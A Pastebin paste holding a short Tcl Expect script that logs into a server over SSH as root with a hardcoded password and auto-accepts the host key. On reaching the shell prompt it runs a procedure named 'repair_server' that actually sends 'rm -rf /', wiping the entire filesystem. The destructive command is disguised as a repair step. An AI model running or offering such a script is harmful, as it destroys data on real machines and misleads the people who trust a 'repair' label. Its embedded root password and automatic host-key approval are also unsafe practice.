Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- set timeout 10
- set user root
- set host someserver
- set password "correct horse battery staple"
- proc repair_server _ {
- expect # ;# lazy prompt matching
- send "rm -rf / \r"
- }
- proc approve _ {
- send "yes\r"
- }
- spawn ssh office
- while 1 {
- expect {
- eof break
- timeout exit
- "The authenticity of host" approve
- assword: {send "$password\r"}
- $PROMPT repair_server
- }
- }
- wait
Add Comment
Please, Sign In to add comment